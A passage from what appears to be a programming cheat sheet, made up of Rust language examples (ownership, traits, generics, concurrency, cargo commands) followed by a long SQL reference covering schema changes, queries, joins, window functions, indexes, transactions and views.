        println!("{}", b);
    }

    // String to number
    let num: i32 = "42".parse().unwrap();
}
fn main() {
    // Move (ownership transfer)
    let s1 = String::from("hello");
    let s2 = s1; // s1 is no longer valid
    // println!("{}", s1); // Error!
    println!("{}", s2); // OK

    // Clone (deep copy)
    let s3 = String::from("hello");
    let s4 = s3.clone();
    println!("{} {}", s3, s4); // Both valid

    // Copy trait (stack-only data)
    let x = 5;
    let y = x; // x is still valid (Copy trait)
    println!("{} {}", x, y);
}
fn main() {
    // Immutable reference (borrowing)
    let s1 = String::from("hello");
    let len = calculate_length(&s1); // Borrow
    println!("{} has length {}", s1, len); // s1 still valid

    // Mutable reference
    let mut s = String::from("hello");
    change(&mut s);
    println!("{}", s); // "hello, world"

    // Rules:
    // 1. Multiple immutable references OR one mutable reference
    // 2. References must always be valid

    let r1 = &s; // OK
    let r2 = &s; // OK
    // let r3 = &mut s; // Error! Can't have mutable while immutable exists

    println!("{} {}", r1, r2);
    // r1 and r2 no longer used after this

    let r3 = &mut s; // OK now
}

fn calculate_length(s: &String) -> usize {
    s.len()
}

fn change(s: &mut String) {
    s.push_str(", world");
}
// Lifetime annotations
fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
    if x.len() > y.len() {
        x
    } else {
        y
    }
}

// Struct with lifetime
struct ImportantExcerpt<'a> {
    part: &'a str,
}

impl<'a> ImportantExcerpt<'a> {
    fn level(&self) -> i32 {
        3
    }
}

fn main() {
    let string1 = String::from("long string");
    let result;
    {
        let string2 = String::from("short");
        result = longest(string1.as_str(), string2.as_str());
        println!("Longest: {}", result);
    }
    // result not valid here (string2 dropped)
}
fn main() {
    // Array (fixed size)
    let arr: [i32; 5] = [1, 2, 3, 4, 5];
    let arr2 = [3; 5]; // [3, 3, 3, 3, 3]
    let first = arr[0];
    let len = arr.len();

    // Vector (dynamic array)
    let mut vec = Vec::new();
    vec.push(1);
    vec.push(2);
    vec.push(3);

    // Vec macro
    let vec2 = vec![1, 2, 3, 4, 5];

    // Accessing elements
    let third = &vec2[2];
    let third = vec2.get(2); // Returns Option<&T>

    // Iterate
    for i in &vec2 {
        println!("{}", i);
    }

    // Mutable iteration
    let mut vec3 = vec![1, 2, 3];
    for i in &mut vec3 {
        *i += 50;
    }

    // Vector with enum for multiple types
    enum SpreadsheetCell {
        Int(i32),
        Float(f64),
        Text(String),
    }

    let row = vec![
        SpreadsheetCell::Int(3),
        SpreadsheetCell::Float(10.12),
        SpreadsheetCell::Text(String::from("blue")),
    ];
}
use std::collections::HashMap;

fn main() {
    // Create HashMap
    let mut scores = HashMap::new();
    scores.insert(String::from("Blue"), 10);
    scores.insert(String::from("Yellow"), 50);

    // From vectors
    let teams = vec![String::from("Blue"), String::from("Yellow")];
    let initial_scores = vec![10, 50];
    let scores: HashMap<_, _> = teams.iter().zip(initial_scores.iter()).collect();

    // Accessing values
    let team_name = String::from("Blue");
    let score = scores.get(&team_name); // Returns Option<&V>

    // Iterate
    for (key, value) in &scores {
        println!("{}: {}", key, value);
    }

    // Update values
    scores.insert(String::from("Blue"), 25); // Overwrite

    // Only insert if key doesn't exist
    scores.entry(String::from("Blue")).or_insert(50);

    // Update based on old value
    let text = "hello world wonderful world";
    let mut map = HashMap::new();

    for word in text.split_whitespace() {
        let count = map.entry(word).or_insert(0);
        *count += 1;
    }

    println!("{:?}", map);
}
fn main() {
    let number = 6;

    if number % 4 == 0 {
        println!("divisible by 4");
    } else if number % 3 == 0 {
        println!("divisible by 3");
    } else {
        println!("not divisible by 4 or 3");
    }

    // If in let statement
    let condition = true;
    let number = if condition { 5 } else { 6 };
}
fn main() {
    // Loop (infinite)
    let mut count = 0;
    let result = loop {
        count += 1;
        if count == 10 {
            break count * 2; // Return value
        }
    };

    // While loop
    let mut number = 3;
    while number != 0 {
        println!("{}!", number);
        number -= 1;
    }

    // For loop
    let arr = [10, 20, 30, 40, 50];
    for element in arr.iter() {
        println!("{}", element);
    }

    // Range
    for number in 1..4 {
        println!("{}", number); // 1, 2, 3
    }

    // Reverse range
    for number in (1..4).rev() {
        println!("{}", number); // 3, 2, 1
    }

    // Enumerate
    for (i, v) in arr.iter().enumerate() {
        println!("{}: {}", i, v);
    }
}
fn main() {
    // Basic match
    let number = 3;
    match number {
        1 => println!("One"),
        2 => println!("Two"),
        3 => println!("Three"),
        _ => println!("Other"), // Default case
    }

    // Match with return value
    let result = match number {
        1 => "one",
        2 => "two",
        3 => "three",
        _ => "other",
    };

    // Match ranges
    match number {
        1..=5 => println!("1 through 5"),
        _ => println!("something else"),
    }

    // Match Option
    let some_value: Option<i32> = Some(3);
    match some_value {
        Some(i) => println!("Got {}", i),
        None => println!("Got nothing"),
    }

    // if let (concise match)
    if let Some(i) = some_value {
        println!("{}", i);
    }

    // Match guards
    let num = Some(4);
    match num {
        Some(x) if x < 5 => println!("less than five: {}", x),
        Some(x) => println!("{}", x),
        None => (),
    }
}
// Define struct
struct User {
    username: String,
    email: String,
    sign_in_count: u64,
    active: bool,
}

// Tuple struct
struct Color(i32, i32, i32);
struct Point(i32, i32, i32);

// Unit struct (no fields)
struct AlwaysEqual;

impl User {
    // Associated function (constructor)
    fn new(username: String, email: String) -> User {
        User {
            username,
            email,
            sign_in_count: 1,
            active: true,
        }
    }

    // Method
    fn is_active(&self) -> bool {
        self.active
    }

    // Mutable method
    fn deactivate(&mut self) {
        self.active = false;
    }
}

fn main() {
    // Create instance
    let mut user1 = User {
        email: String::from("user@example.com"),
        username: String::from("user123"),
        active: true,
        sign_in_count: 1,
    };

    user1.email = String::from("newemail@example.com");

    // Struct update syntax
    let user2 = User {
        email: String::from("another@example.com"),
        ..user1 // Rest from user1
    };

    // Tuple struct
    let black = Color(0, 0, 0);
    let origin = Point(0, 0, 0);
}
// Define enum
enum IpAddr {
    V4(u8, u8, u8, u8),
    V6(String),
}

enum Message {
    Quit,
    Move { x: i32, y: i32 },
    Write(String),
    ChangeColor(i32, i32, i32),
}

impl Message {
    fn call(&self) {
        match self {
            Message::Quit => println!("Quit"),
            Message::Move { x, y } => println!("Move to {}, {}", x, y),
            Message::Write(text) => println!("Write: {}", text),
            Message::ChangeColor(r, g, b) => println!("Color: {}, {}, {}", r, g, b),
        }
    }
}

fn main() {
    let home = IpAddr::V4(127, 0, 0, 1);
    let loopback = IpAddr::V6(String::from("::1"));

    let msg = Message::Write(String::from("hello"));
    msg.call();
}
fn main() {
    // Option<T> - value or nothing
    let some_number: Option<i32> = Some(5);
    let no_number: Option<i32> = None;

    // Match on Option
    match some_number {
        Some(i) => println!("{}", i),
        None => println!("nothing"),
    }

    // Unwrap (panics if None)
    let x = Some(5);
    let y = x.unwrap();

    // Unwrap with default
    let z = no_number.unwrap_or(0);

    // Result<T, E> - success or error
    use std::fs::File;
    use std::io::ErrorKind;

    let f = File::open("hello.txt");
    let f = match f {
        Ok(file) => file,
        Err(error) => match error.kind() {
            ErrorKind::NotFound => match File::create("hello.txt") {
                Ok(fc) => fc,
                Err(e) => panic!("Problem creating file: {:?}", e),
            },
            other_error => panic!("Problem opening file: {:?}", other_error),
        },
    };

    // Propagating errors with ?
    fn read_username() -> Result<String, std::io::Error> {
        let mut f = File::open("hello.txt")?;
        let mut s = String::new();
        use std::io::Read;
        f.read_to_string(&mut s)?;
        Ok(s)
    }
}
// Define trait
trait Summary {
    fn summarize(&self) -> String;

    // Default implementation
    fn default_summary(&self) -> String {
        String::from("(Read more...)")
    }
}

// Implement trait
struct NewsArticle {
    headline: String,
    location: String,
    author: String,
}

impl Summary for NewsArticle {
    fn summarize(&self) -> String {
        format!("{}, by {} ({})", self.headline, self.author, self.location)
    }
}

struct Tweet {
    username: String,
    content: String,
}

impl Summary for Tweet {
    fn summarize(&self) -> String {
        format!("{}: {}", self.username, self.content)
    }
}

// Trait as parameter
fn notify(item: &impl Summary) {
    println!("Breaking news! {}", item.summarize());
}

// Trait bound syntax
fn notify2<T: Summary>(item: &T) {
    println!("{}", item.summarize());
}

// Multiple traits
fn notify3<T: Summary + Display>(item: &T) {
    // ...
}

// Where clause
fn some_function<T, U>(t: &T, u: &U) -> i32
where
    T: Display + Clone,
    U: Clone + Debug,
{
    // ...
    0
}

// Return trait
fn returns_summarizable() -> impl Summary {
    Tweet {
        username: String::from("user"),
        content: String::from("content"),
    }
}

use std::fmt::Display;
use std::fmt::Debug;

fn main() {
    let tweet = Tweet {
        username: String::from("user"),
        content: String::from("Hello, world!"),
    };

    println!("{}", tweet.summarize());
}
use std::fs::File;
use std::io::{self, Read};

// Propagating errors
fn read_username_from_file() -> Result<String, io::Error> {
    let mut f = File::open("username.txt")?;
    let mut s = String::new();
    f.read_to_string(&mut s)?;
    Ok(s)
}

// Custom error types
use std::fmt;

#[derive(Debug)]
enum CustomError {
    IoError(io::Error),
    ParseError,
}

impl fmt::Display for CustomError {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        match self {
            CustomError::IoError(e) => write!(f, "IO error: {}", e),
            CustomError::ParseError => write!(f, "Parse error"),
        }
    }
}

impl From<io::Error> for CustomError {
    fn from(err: io::Error) -> CustomError {
        CustomError::IoError(err)
    }
}

// Panic
fn will_panic() {
    panic!("crash and burn");
}

// Assert
fn check_value(x: i32) {
    assert!(x > 0, "x must be positive");
    assert_eq!(x, 5);
    assert_ne!(x, 0);
}

fn main() {
    // Result with match
    match read_username_from_file() {
        Ok(username) => println!("Username: {}", username),
        Err(e) => println!("Error: {}", e),
    }

    // Unwrap
    let f = File::open("hello.txt").unwrap();

    // Expect (with custom message)
    let f = File::open("hello.txt").expect("Failed to open file");
}
// Generic function
fn largest<T: PartialOrd>(list: &[T]) -> &T {
    let mut largest = &list[0];
    for item in list {
        if item > largest {
            largest = item;
        }
    }
    largest
}

// Generic struct
struct Point<T> {
    x: T,
    y: T,
}

impl<T> Point<T> {
    fn x(&self) -> &T {
        &self.x
    }
}

// Implement for specific type
impl Point<f32> {
    fn distance_from_origin(&self) -> f32 {
        (self.x.powi(2) + self.y.powi(2)).sqrt()
    }
}

// Multiple generic types
struct Point2<T, U> {
    x: T,
    y: U,
}

// Generic enum
enum Option<T> {
    Some(T),
    None,
}

enum Result<T, E> {
    Ok(T),
    Err(E),
}

fn main() {
    let numbers = vec![34, 50, 25, 100, 65];
    let result = largest(&numbers);

    let integer = Point { x: 5, y: 10 };
    let float = Point { x: 1.0, y: 4.0 };
    let mixed = Point2 { x: 5, y: 4.0 };
}
use std::thread;
use std::time::Duration;

fn main() {
    // Spawn thread
    let handle = thread::spawn(|| {
        for i in 1..10 {
            println!("spawned thread: {}", i);
            thread::sleep(Duration::from_millis(1));
        }
    });

    // Wait for thread
    handle.join().unwrap();

    // Move closure
    let v = vec![1, 2, 3];
    let handle = thread::spawn(move || {
        println!("vector: {:?}", v);
    });

    handle.join().unwrap();
}
use std::sync::mpsc;
use std::thread;

fn main() {
    // Create channel
    let (tx, rx) = mpsc::channel();

    thread::spawn(move || {
        let val = String::from("hi");
        tx.send(val).unwrap();
    });

    let received = rx.recv().unwrap();
    println!("Got: {}", received);

    // Multiple producers
    let (tx, rx) = mpsc::channel();
    let tx1 = tx.clone();

    thread::spawn(move || {
        tx.send(String::from("hi from thread 1")).unwrap();
    });

    thread::spawn(move || {
        tx1.send(String::from("hi from thread 2")).unwrap();
    });

    for received in rx {
        println!("Got: {}", received);
    }
}
use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    // Mutex for mutual exclusion
    let counter = Arc::new(Mutex::new(0));
    let mut handles = vec![];

    for _ in 0..10 {
        let counter = Arc::clone(&counter);
        let handle = thread::spawn(move || {
            let mut num = counter.lock().unwrap();
            *num += 1;
        });
        handles.push(handle);
    }

    for handle in handles {
        handle.join().unwrap();
    }

    println!("Result: {}", *counter.lock().unwrap());
}
#[derive(Default)]
struct User {
    username: String,
    email: String,
    age: Option<u32>,
}

impl User {
    fn builder() -> UserBuilder {
        UserBuilder::default()
    }
}

#[derive(Default)]
struct UserBuilder {
    username: String,
    email: String,
    age: Option<u32>,
}

impl UserBuilder {
    fn username(mut self, username: &str) -> Self {
        self.username = username.to_string();
        self
    }

    fn email(mut self, email: &str) -> Self {
        self.email = email.to_string();
        self
    }

    fn age(mut self, age: u32) -> Self {
        self.age = Some(age);
        self
    }

    fn build(self) -> User {
        User {
            username: self.username,
            email: self.email,
            age: self.age,
        }
    }
}

fn main() {
    let user = User::builder()
        .username("alice")
        .email("alice@example.com")
        .age(30)
        .build();
}
#![allow(unused)]
fn main() {
// Wrap existing type
struct Wrapper(Vec<String>);

impl Wrapper {
    fn new() -> Self {
        Wrapper(Vec::new())
    }

    fn push(&mut self, s: String) {
        self.0.push(s);
    }
}
}
#![allow(unused)]
fn main() {
// Unit tests
#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn it_works() {
        assert_eq!(2 + 2, 4);
    }

    #[test]
    fn it_adds() {
        assert_eq!(add(2, 2), 4);
    }

    #[test]
    #[should_panic]
    fn it_panics() {
        panic!("panic!");
    }

    #[test]
    fn it_returns_result() -> Result<(), String> {
        if 2 + 2 == 4 {
            Ok(())
        } else {
            Err(String::from("two plus two does not equal four"))
        }
    }
}

fn add(a: i32, b: i32) -> i32 {
    a + b
}
}
# Create new project
cargo new project_name
cargo new --lib library_name

# Build project
cargo build
cargo build --release

# Run project
cargo run

# Check code
cargo check

# Run tests
cargo test

# Generate documentation
cargo doc --open

# Update dependencies
cargo update

# Format code
cargo fmt

# Lint code
cargo clippy

-- Numeric
INT, INTEGER              -- Whole numbers
SMALLINT, BIGINT          -- Different sizes
DECIMAL(10, 2), NUMERIC   -- Fixed-point numbers
FLOAT, REAL, DOUBLE       -- Floating-point numbers

-- String
CHAR(10)                  -- Fixed length
VARCHAR(255)              -- Variable length
TEXT                      -- Long text

-- Date and Time
DATE                      -- Date only
TIME                      -- Time only
TIMESTAMP, DATETIME       -- Date and time
YEAR                      -- Year only

-- Boolean
BOOLEAN, BOOL             -- True/False

-- Binary
BLOB                      -- Binary large object
BYTEA (PostgreSQL)        -- Binary data

-- Other
JSON, JSONB (PostgreSQL)  -- JSON data
UUID                      -- Universally unique identifier
ENUM('small', 'medium')   -- Enumerated type

-- Create database
CREATE DATABASE mydb;
CREATE DATABASE IF NOT EXISTS mydb;

-- Use database
USE mydb;

-- Create table
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    age INT CHECK (age >= 18),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

-- Create table with foreign key
CREATE TABLE posts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    title VARCHAR(255) NOT NULL,
    content TEXT,
    published BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Create table with composite primary key
CREATE TABLE user_roles (
    user_id INT,
    role_id INT,
    granted_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (user_id, role_id),
    FOREIGN KEY (user_id) REFERENCES users(id),
    FOREIGN KEY (role_id) REFERENCES roles(id)
);

-- Create table from query
CREATE TABLE archived_users AS
SELECT * FROM users WHERE created_at < '2020-01-01';

-- Add column
ALTER TABLE users ADD COLUMN phone VARCHAR(20);

-- Modify column
ALTER TABLE users MODIFY COLUMN email VARCHAR(150);
ALTER TABLE users ALTER COLUMN age SET DEFAULT 18;

-- Rename column
ALTER TABLE users RENAME COLUMN username TO user_name;

-- Drop column
ALTER TABLE users DROP COLUMN phone;

-- Add constraint
ALTER TABLE users ADD CONSTRAINT chk_age CHECK (age >= 18);
ALTER TABLE users ADD UNIQUE (email);

-- Drop constraint
ALTER TABLE users DROP CONSTRAINT chk_age;

-- Rename table
ALTER TABLE users RENAME TO customers;

-- Drop table
DROP TABLE users;
DROP TABLE IF EXISTS users;

-- Drop database
DROP DATABASE mydb;
DROP DATABASE IF EXISTS mydb;

-- Truncate (delete all rows, keep structure)
TRUNCATE TABLE users;

-- Insert single row
INSERT INTO users (username, email, password, age)
VALUES ('alice', 'alice@example.com', 'hashed_pwd', 30);

-- Insert multiple rows
INSERT INTO users (username, email, password, age)
VALUES
    ('bob', 'bob@example.com', 'hashed_pwd', 25),
    ('charlie', 'charlie@example.com', 'hashed_pwd', 35),
    ('diana', 'diana@example.com', 'hashed_pwd', 28);

-- Insert from select
INSERT INTO archived_users
SELECT * FROM users WHERE created_at < '2020-01-01';

-- Insert or update (MySQL)
INSERT INTO users (id, username, email)
VALUES (1, 'alice', 'alice@example.com')
ON DUPLICATE KEY UPDATE email = VALUES(email);

-- Insert or ignore (MySQL)
INSERT IGNORE INTO users (username, email)
VALUES ('alice', 'alice@example.com');

-- Upsert (PostgreSQL)
INSERT INTO users (id, username, email)
VALUES (1, 'alice', 'alice@example.com')
ON CONFLICT (id) DO UPDATE SET email = EXCLUDED.email;

-- Update single row
UPDATE users
SET email = 'newemail@example.com'
WHERE id = 1;

-- Update multiple columns
UPDATE users
SET email = 'alice@newdomain.com',
    age = 31,
    updated_at = CURRENT_TIMESTAMP
WHERE username = 'alice';

-- Update with condition
UPDATE users
SET age = age + 1
WHERE created_at < '2020-01-01';

-- Update from join
UPDATE users u
INNER JOIN orders o ON u.id = o.user_id
SET u.total_orders = (
    SELECT COUNT(*) FROM orders WHERE user_id = u.id
)
WHERE o.created_at > '2024-01-01';

-- Update all rows (dangerous!)
UPDATE users SET active = TRUE;

-- Delete specific row
DELETE FROM users WHERE id = 1;

-- Delete with condition
DELETE FROM users WHERE created_at < '2020-01-01';

-- Delete with join (MySQL)
DELETE u FROM users u
INNER JOIN orders o ON u.id = o.user_id
WHERE o.status = 'cancelled';

-- Delete all rows (dangerous!)
DELETE FROM users;

-- Soft delete (recommended)
UPDATE users SET deleted_at = CURRENT_TIMESTAMP WHERE id = 1;

-- Select all columns
SELECT * FROM users;

-- Select specific columns
SELECT username, email FROM users;

-- Select with alias
SELECT username AS name, email AS contact FROM users;

-- Select with calculation
SELECT
    username,
    age,
    YEAR(CURRENT_DATE) - YEAR(created_at) AS years_member
FROM users;

-- Select distinct
SELECT DISTINCT age FROM users;

-- Select with limit
SELECT * FROM users LIMIT 10;
SELECT * FROM users LIMIT 10 OFFSET 20;  -- Skip first 20

-- Select top (SQL Server)
SELECT TOP 10 * FROM users;

-- Basic conditions
SELECT * FROM users WHERE age > 25;
SELECT * FROM users WHERE username = 'alice';
SELECT * FROM users WHERE age >= 18 AND age <= 65;

-- IN operator
SELECT * FROM users WHERE age IN (25, 30, 35);
SELECT * FROM users WHERE username IN ('alice', 'bob', 'charlie');

-- BETWEEN
SELECT * FROM users WHERE age BETWEEN 18 AND 65;
SELECT * FROM users WHERE created_at BETWEEN '2023-01-01' AND '2023-12-31';

-- LIKE (pattern matching)
SELECT * FROM users WHERE email LIKE '%@gmail.com';
SELECT * FROM users WHERE username LIKE 'a%';      -- Starts with 'a'
SELECT * FROM users WHERE username LIKE '%a';      -- Ends with 'a'
SELECT * FROM users WHERE username LIKE '%a%';     -- Contains 'a'
SELECT * FROM users WHERE username LIKE 'a_b';     -- _ matches single char

-- IS NULL / IS NOT NULL
SELECT * FROM users WHERE phone IS NULL;
SELECT * FROM users WHERE phone IS NOT NULL;

-- NOT
SELECT * FROM users WHERE NOT age > 25;
SELECT * FROM users WHERE age NOT IN (25, 30, 35);

-- Combining conditions
SELECT * FROM users
WHERE (age > 25 OR username LIKE 'a%')
AND email IS NOT NULL;

-- Sort ascending
SELECT * FROM users ORDER BY age;
SELECT * FROM users ORDER BY age ASC;

-- Sort descending
SELECT * FROM users ORDER BY age DESC;

-- Sort by multiple columns
SELECT * FROM users ORDER BY age DESC, username ASC;

-- Sort by calculated column
SELECT username, age * 2 AS double_age
FROM users
ORDER BY double_age DESC;

-- Sort with NULL handling
SELECT * FROM users ORDER BY phone NULLS FIRST;
SELECT * FROM users ORDER BY phone NULLS LAST;

-- Count users by age
SELECT age, COUNT(*) as count
FROM users
GROUP BY age;

-- Multiple aggregations
SELECT
    age,
    COUNT(*) as count,
    AVG(age) as avg_age,
    MIN(age) as min_age,
    MAX(age) as max_age
FROM users
GROUP BY age;

-- Group by multiple columns
SELECT
    age,
    YEAR(created_at) as year,
    COUNT(*) as count
FROM users
GROUP BY age, YEAR(created_at);

-- HAVING (filter groups)
SELECT age, COUNT(*) as count
FROM users
GROUP BY age
HAVING COUNT(*) > 5;

-- GROUP BY with ORDER BY
SELECT age, COUNT(*) as count
FROM users
GROUP BY age
HAVING COUNT(*) > 5
ORDER BY count DESC;

-- INNER JOIN (only matching rows)
SELECT u.username, p.title
FROM users u
INNER JOIN posts p ON u.id = p.user_id;

-- LEFT JOIN (all from left, matching from right)
SELECT u.username, p.title
FROM users u
LEFT JOIN posts p ON u.id = p.user_id;

-- RIGHT JOIN (all from right, matching from left)
SELECT u.username, p.title
FROM users u
RIGHT JOIN posts p ON u.id = p.user_id;

-- FULL OUTER JOIN (all from both)
SELECT u.username, p.title
FROM users u
FULL OUTER JOIN posts p ON u.id = p.user_id;

-- CROSS JOIN (Cartesian product)
SELECT u.username, r.role_name
FROM users u
CROSS JOIN roles r;

-- Self join
SELECT
    e1.name as employee,
    e2.name as manager
FROM employees e1
LEFT JOIN employees e2 ON e1.manager_id = e2.id;

-- Multiple joins
SELECT
    u.username,
    p.title,
    c.content as comment
FROM users u
INNER JOIN posts p ON u.id = p.user_id
INNER JOIN comments c ON p.id = c.post_id;

-- Join with conditions
SELECT u.username, p.title
FROM users u
LEFT JOIN posts p ON u.id = p.user_id AND p.published = TRUE;

-- Subquery in WHERE
SELECT username FROM users
WHERE id IN (
    SELECT user_id FROM orders WHERE total > 100
);

-- Subquery in SELECT
SELECT
    username,
    (SELECT COUNT(*) FROM posts WHERE user_id = users.id) as post_count
FROM users;

-- Subquery in FROM
SELECT avg_age FROM (
    SELECT AVG(age) as avg_age FROM users GROUP BY city
) as subquery;

-- Correlated subquery
SELECT username FROM users u
WHERE age > (
    SELECT AVG(age) FROM users WHERE city = u.city
);

-- EXISTS
SELECT username FROM users u
WHERE EXISTS (
    SELECT 1 FROM orders WHERE user_id = u.id
);

-- NOT EXISTS
SELECT username FROM users u
WHERE NOT EXISTS (
    SELECT 1 FROM orders WHERE user_id = u.id
);

-- ANY / ALL
SELECT username FROM users
WHERE age > ANY (SELECT age FROM users WHERE city = 'NYC');

SELECT username FROM users
WHERE age > ALL (SELECT age FROM users WHERE city = 'NYC');

-- COUNT
SELECT COUNT(*) FROM users;
SELECT COUNT(DISTINCT age) FROM users;

-- SUM
SELECT SUM(total) FROM orders;

-- AVG
SELECT AVG(age) FROM users;

-- MIN / MAX
SELECT MIN(age), MAX(age) FROM users;

-- String aggregation (PostgreSQL)
SELECT STRING_AGG(username, ', ') FROM users;

-- GROUP_CONCAT (MySQL)
SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users;

-- Combined
SELECT
    COUNT(*) as total_users,
    AVG(age) as average_age,
    MIN(age) as youngest,
    MAX(age) as oldest,
    SUM(CASE WHEN age >= 18 THEN 1 ELSE 0 END) as adults
FROM users;

-- Basic CTE
WITH active_users AS (
    SELECT * FROM users WHERE active = TRUE
)
SELECT * FROM active_users WHERE age > 25;

-- Multiple CTEs
WITH
    active_users AS (
        SELECT * FROM users WHERE active = TRUE
    ),
    user_posts AS (
        SELECT user_id, COUNT(*) as post_count
        FROM posts
        GROUP BY user_id
    )
SELECT
    au.username,
    up.post_count
FROM active_users au
LEFT JOIN user_posts up ON au.id = up.user_id;

-- Recursive CTE (hierarchy)
WITH RECURSIVE employee_hierarchy AS (
    -- Base case
    SELECT id, name, manager_id, 1 as level
    FROM employees
    WHERE manager_id IS NULL

    UNION ALL

    -- Recursive case
    SELECT e.id, e.name, e.manager_id, eh.level + 1
    FROM employees e
    INNER JOIN employee_hierarchy eh ON e.manager_id = eh.id
)
SELECT * FROM employee_hierarchy ORDER BY level;

-- ROW_NUMBER
SELECT
    username,
    age,
    ROW_NUMBER() OVER (ORDER BY age DESC) as row_num
FROM users;

-- RANK / DENSE_RANK
SELECT
    username,
    score,
    RANK() OVER (ORDER BY score DESC) as rank,
    DENSE_RANK() OVER (ORDER BY score DESC) as dense_rank
FROM users;

-- Partition by
SELECT
    city,
    username,
    age,
    AVG(age) OVER (PARTITION BY city) as avg_city_age
FROM users;

-- Running total
SELECT
    date,
    amount,
    SUM(amount) OVER (ORDER BY date) as running_total
FROM sales;

-- LAG / LEAD (previous/next row)
SELECT
    date,
    revenue,
    LAG(revenue) OVER (ORDER BY date) as prev_revenue,
    LEAD(revenue) OVER (ORDER BY date) as next_revenue
FROM daily_sales;

-- NTILE (divide into buckets)
SELECT
    username,
    score,
    NTILE(4) OVER (ORDER BY score DESC) as quartile
FROM users;

-- Create index
CREATE INDEX idx_users_email ON users(email);

-- Create unique index
CREATE UNIQUE INDEX idx_users_username ON users(username);

-- Create composite index
CREATE INDEX idx_users_age_city ON users(age, city);

-- Create partial index (PostgreSQL)
CREATE INDEX idx_active_users ON users(username)
WHERE active = TRUE;

-- Create index with condition (filtered index - SQL Server)
CREATE INDEX idx_active_users ON users(username)
WHERE active = 1;

-- Full-text index (MySQL)
CREATE FULLTEXT INDEX idx_posts_content ON posts(title, content);

-- Drop index
DROP INDEX idx_users_email ON users;

-- Show indexes
SHOW INDEX FROM users;  -- MySQL
SELECT * FROM pg_indexes WHERE tablename = 'users';  -- PostgreSQL

-- Start transaction
BEGIN;
START TRANSACTION;

-- Commit transaction
COMMIT;

-- Rollback transaction
ROLLBACK;

-- Example transaction
BEGIN;

UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- Check if everything is okay
IF (SELECT balance FROM accounts WHERE id = 1) >= 0 THEN
    COMMIT;
ELSE
    ROLLBACK;
END IF;

-- Savepoint
BEGIN;
UPDATE users SET age = 30 WHERE id = 1;
SAVEPOINT my_savepoint;
UPDATE users SET age = 40 WHERE id = 2;
ROLLBACK TO SAVEPOINT my_savepoint;  -- Only rollback second update
COMMIT;

-- Transaction isolation levels
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

-- Create view
CREATE VIEW active_users AS
SELECT id, username, email
FROM users
WHERE active = TRUE;

-- Use view
SELECT * FROM active_users;

-- Create or replace view
CREATE OR REPLACE VIEW user_stats AS
SELECT
    u.id,
    u.username,
    COUNT(p.id) as post_count,
    COUNT(DISTINCT c.id) as comment_count
FROM users u
LEFT JOIN posts p ON u.id = p.user_id
LEFT JOIN comments c ON u.id = c.user_id
GROUP BY u.id, u.username;

-- Materialized view (PostgreSQL)
CREATE MATERIALIZED VIEW user_stats_mv AS
SELECT
    u.id,
    COUNT(p.id) as post_count
FROM users u
LEFT JOIN posts p ON u.id = p.user_id
GROUP BY u.id;

-- Refresh materialized view
REFRESH MATERIALIZED VIEW user_stats_mv;

-- Drop view
DROP VIEW active_users;
DROP MATERIALIZED VIEW user_stats_mv;

-- MySQL stored procedure
DELIMITER //
CREATE PROCEDURE GetUsersByAge(IN min_age INT)
BEGIN
    SELECT * FROM users WHERE age >= min_age;
END //
DELIMITER ;

-- Call procedure
CALL GetUsersByAge(25);

-- Function (MySQL)
DELIMITER //
CREATE FUNCTION CalculateAge(birth_date DATE)
RETURNS INT
DETERMINISTIC
BEGIN
    RETURN YEAR(CURRENT_DATE) - YEAR(birth_date);
END //
DELIMITER ;

-- Use function
SELECT username, CalculateAge(birth_date) as age FROM users;

-- PostgreSQL function
CREATE OR REPLACE FUNCTION get_user_count()
RETURNS INTEGER AS $$
BEGIN
    RETURN (SELECT COUNT(*) FROM users);
END;
$$ LANGUAGE plpgsql;

-- Call function
SELECT get_user_count();

-- Drop procedure/function
DROP PROCEDURE GetUsersByAge;
DROP FUNCTION CalculateAge;

-- Offset pagination
SELECT * FROM users
ORDER BY id
LIMIT 10 OFFSET 20;  -- Page 3 (0-based)

-- Cursor-based pagination (more efficient)
SELECT * FROM users
WHERE id > 100  -- Last seen ID
ORDER BY id
LIMIT 10;

-- Find duplicate emails
SELECT email, COUNT(*) as count
FROM users
GROUP BY email
HAVING COUNT(*) > 1;

-- Get duplicate rows with details
SELECT u.*
FROM users u
INNER JOIN (
    SELECT email FROM users
    GROUP BY email
    HAVING COUNT(*) > 1
) dup ON u.email = dup.email;

-- Top N per group
WITH ranked AS (
    SELECT
        *,
        ROW_NUMBER() OVER (PARTITION BY category ORDER BY score DESC) as rn
    FROM products
)
SELECT * FROM ranked WHERE rn <= 3;

-- Running total
SELECT
    date,
    revenue,
    SUM(revenue) OVER (ORDER BY date) as cumulative_revenue
FROM sales
ORDER BY date;

-- MySQL
SELECT
    username,
    SUM(CASE WHEN YEAR(created_at) = 2023 THEN 1 ELSE 0 END) as year_2023,
    SUM(CASE WHEN YEAR(created_at) = 2024 THEN 1 ELSE 0 END) as year_2024
FROM users
GROUP BY username;

-- PostgreSQL (crosstab)
SELECT * FROM crosstab(
    'SELECT username, YEAR(created_at), COUNT(*) FROM users GROUP BY 1, 2',
    'SELECT DISTINCT YEAR(created_at) FROM users ORDER BY 1'
) AS ct(username TEXT, year_2023 INT, year_2024 INT);

-- Index columns used in WHERE, JOIN, ORDER BY
CREATE INDEX idx_users_email ON users(email);

-- Bad
SELECT * FROM users;

